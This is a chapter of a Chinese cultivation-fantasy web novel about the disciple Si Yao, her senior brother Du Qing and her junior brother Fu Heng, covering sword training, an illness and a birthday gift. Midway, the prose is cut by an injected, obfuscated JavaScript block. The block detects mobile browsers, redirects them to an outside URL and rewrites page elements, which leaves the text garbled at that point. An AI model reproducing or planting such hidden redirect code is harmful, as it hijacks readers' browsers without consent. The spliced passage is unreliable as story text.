“嘶——”
司瑶翻腕耍剑时,不小心折了关节处,手腕登时抽筋胀痛,长剑脱手砸地,发出铁器的清响。
“手踝伤了。”
杜青闻声而动,走到司瑶身前,盯着手腕处看了看,无奈叹声。
“练剑的时候,怎可如此三心二意。”
杜青一眼发现端倪,在问司瑶话的同时,手上动作不减,凝仙力为其治疗伤处,不过一会,便全好了。
“在想后面的动作,一时没注意就扭到了。”司瑶摆出一副苦瓜脸,十分闷闷不乐。
想起那复杂的招式动作,她边练边回忆动作,发现总是记不起后一步,半推半就。反观跟她同一起点的傅蘅,上手很快,练了两下就能习全,而自己一直停滞不前。
“我感觉我不适合练剑。”
司瑶从杜青手中抽回手,转了转手腕,发现没问题,才从地上捡起剑。
“明明都是同样的起点,同样的天赋值,傅蘅可以很快掌握,我却不行。”
她动作绵软地练起剑,整个人的气氛十分低沉压抑。杜青看着司瑶练习的动作,缓慢迟滞,有气无力,像在故意懈怠。
“司瑶,有些时候无需比较。”
杜青眼眸深邃,沉思一瞬,便走到司瑶边,抬高她低下的肘部,握住她拿剑的手,一点一点教她比划招式。
“适不适合不重要,重要的是心。水滴石穿,铁杵成针,可没有讲适不适合,是一颗坚持的心。这颗心,便是道心。道心坚定,才能大有所成。也许你真的不适合,但不代表不成功。”
杜青带司瑶比划一招动作,每做一招便说一句。直到最后练完羲和一式的全部剑招,话也随之结束。
司瑶收回剑,看向杜青。没说话,像在思考刚刚的话。
杜青知道自家师妹修仙之路遇阻了,他能帮的只有这些,剩下的需要她自己去做了。
他摸了摸司瑶的脑袋,温柔地笑着。
“你的修仙之路还很长,有困阻很正常。”
傅蘅练得时候便一直关注司瑶那边,两人对话他也全听清了。直到杜青那个摸头动作,他停下了动作。
他看了看杜青,眼神沉了沉,很快一扫而过,视线最后停在司瑶身上,瞳孔里是司瑶的倒影,直到杜青说结束训练,他才有了动作。
“也都练累了,今日训练便结束了。”
“师姐,我送你回去。”
傅蘅从杜青眼前走过,他个子不高,只到杜青胸口,却硬生生插进两人中间。
刚刚还郁闷的司瑶,看着主动说话的傅蘅,疑惑又震惊。
“你这有点出乎我意料之外啊。”
之前光顾着逃命和搜集信息,没注意过傅蘅的长相,现在一看,司瑶发现傅蘅其实挺漂亮的,头发浓密,睫毛长而密,红润白净,还带点未消的婴儿肥,看着十分稚气,像个精致的瓷娃娃。长得挺招人喜欢的,尤其是长辈。
傅蘅轻皱起的眉,下压住了眼眸。眼睛在眼眶中不安地转了几圈,才找到一个极适地方向看去,是左下方裂隙的地面。
“你早上送我来,我下送你回去,很正常。”
司瑶笑了起来,揉了揉傅蘅的头发,忽然很骄傲。
“看来我们傅蘅小师弟成长了啊。还知道同门间的互相帮助,知道保护师姐了。”
在一旁的杜青看着两孩子,脸上笑意渐浓。
直到半夜,司瑶的房门被人敲响了。
“你怎么还没睡?”
司瑶一家门就看见站在门口的傅蘅,一脸惊讶。
“你不是也没睡。”
傅蘅看着司瑶身上的衣服,还是白天的那身,声音平静。
司瑶看傅蘅的眼神在自己上身,低头看了看自己未换的衣物,努了努嘴,随即心虚地辩解。
“我……我那是刻苦学习,然后卷死你。”
月光倾泻,泼在两人身上,成了黑夜中唯一的明亮处。银辉衬得傅蘅清冷,尤其是他现在的眼神,平静得如潭死水,不因外界的一举一动而起伏。他的表情,就仿佛在质疑她,当即直切重点。
“是因为想卷死我,而刻苦学习;还是因为白天练剑的事不服气,而刻苦学习?”
司瑶瞬间皱眉,以前只知道他不爱说话,怎么没发现他嘴这么毒。
“管我。”
被踩尾巴,司瑶面上不悦。
“没事,别烦我。”说着,就要关门。
傅蘅陡然一顿,似乎没料到司瑶会这说。他立马开口道。
“有事。”
傅蘅顿了顿。
“我教你。”
司瑶眼神瞬间直了。
……
过了一会,司瑶将信将疑地抱出两柄长剑,走到石桌前坐下。
“你被人夺舍了?”
傅蘅拿起桌上的长剑,竖起的长剑,仔细端看着,迎月沁寒,剑身光滑,倒影出傅蘅的双眼,轻轻一转,刀光折射。
“没有。”
“那你会主动开口,主动帮人?”
“不会。”傅蘅回答干脆。
“那你……”
“因为你是我师姐。”
司瑶还想说的话,被傅蘅中途截断。
这次换她愣了。这话司瑶很熟,她曾跟傅蘅说过几次。只是没想到他真记住了。
傅蘅手腕一转,两刃处对着两人,其实他也不明白,自己为何帮司瑶,或许真就是司瑶说的‘我是你师姐,你是我师弟’,他便想真心一试。
司瑶有种欣慰感,有种自家孩子长大的感觉,难道这就是养孩子的感觉?那还挺不错。
“那我们现在开始吧。”司瑶重振旗鼓,拿起剑,开始训练。
傅蘅教得很仔细,每一招都拆解得透彻简单,司瑶一下就学会了。她学得很开心,只是偏偏不巧,她才学两招,便忽然下起了雨。
从一开始的几滴小雨,两人还能继续练几招,到最后瓢泼大雨,灰溜溜地收场。
傅蘅坐在屋檐下,看着仙界的夜幕,听着房檐滴水声和雨声,想起了以前。
司瑶从屋里拿出两块干布,往傅蘅头上盖了一条,然后坐了下来。
“擦擦水,别感冒了。”
傅蘅拿着干布块擦了擦脸,转头看向司瑶。
“感冒是什么?”
司瑶擦汗动作一停,“就是风寒。”
傅蘅点头,继续看向雨幕。司瑶看着盯着前方出神的傅蘅,问。
“看你盯着雨看,是想家了吗?”
傅蘅扯掉干布块,低头看地,声音陡然变大,甚至是激动。
“那个没有母亲的地方,不是家。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484859|201946||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
司瑶没想到一下戳到他的痛处,刚想解释。傅蘅便已经站起身离开。
司瑶一时失察,白干。
谁曾想第二天傅蘅就生病了。
“傅蘅!”
司瑶急匆匆地跑到傅蘅病床边坐着,一脸担忧。
“不会真因为昨晚淋雨感冒了吧。”
似乎听见有人叫他,傅蘅不安分地乱动着,扯着被子往上拉,直接盖过鼻子,他将自己裹成了个蚕蛹,很严实。这副模样看着格外怕冷,脸也烫红得像熟了一般,冷汗淋淋,睡得十分不安稳。他似乎做了噩梦,嘴里一直喊着母亲。
司瑶心里莫名一酸,傅蘅也只是个孩子,失去母亲,又失去所有,孤身一人修仙问道。
端着药进来的杜青,看着坐在床边的司瑶,走过来递给她。
“既然你要在这照顾他,我便走了。这药等他醒了喂他喝。”
司瑶点头,眼神却没有离开半分。
“知道了,大师兄。”
杜青走后,傅蘅断断续续醒过几次,依旧神志不清,司瑶喂了两次药后,便沉沉睡去,可仍旧睡不踏实。为了安抚人,司瑶握住傅蘅的手,轻声细语地安慰着,就这样守到了后半夜。
风寒褪去,傅蘅睁开眼,看着黑黢黢的环境,手边有一处温热,十分软乎。
傅蘅看向一侧,借着月光,他看清了靠在床边熟睡的司瑶,两人双手紧紧握着。
她一直在守着生病的我。
傅蘅动了动手,试图抽回手臂。
对他这般尽心尽力地人,除了母亲,已经没人了,而司瑶却力做了这第二人。
结果刚动,司瑶也有了动静。他顿时不敢动,司瑶抽回手,换了个舒服的姿势,抱臂而眠。
傅蘅松了口气,看着司瑶的睡颜,竟笑了起来。
师姐吗?
有一个师姐,好像还不错。
第二天一早,傅蘅看着床边空荡荡的,心里有些失落。
他起身出门,结果开门就被某个黄色的食物塞满了视线。
“生辰快乐!”
司瑶捧着自己做的鸡蛋糕,从侧边冒出头,给了傅蘅一个惊喜。
“还真是巧,你刚病好,就赶上生辰了。”
傅蘅愣了一下,“你怎么知道今日是我生辰。”
司瑶笑嘻嘻地将鸡蛋糕塞到傅蘅怀里。
“我可是仙人,算你的生辰这些,还不是轻而易举的事。”
傅蘅抱着鸡蛋糕的手,紧了紧。
“谢谢。”
“这个黄色的东西,是我的生辰礼物?”傅蘅端着手中的鸡蛋糕,问。
司瑶摇了摇头,“当然不是。”
“这才是你的生辰礼物。”
说着,她从背后拿出一把剑,递给傅蘅。
“我知道你剑法很厉害,所以这柄中品仙器赤阳剑,是我要送你的生辰礼物。”
武器从高到低分:神器、仙器、宝器三级,中间又分上、中、下三品。
这个武器可以算是很珍贵的存在,傅蘅看着全身赤红的剑身的,下意识笑了起来,弧度很小,不认真看,分不清在笑,他不由得抚上手,这一摸便爱不释手。
司瑶看着傅蘅这么宝贝的模样,算是送对了。
“傅蘅,十八岁生辰快乐!”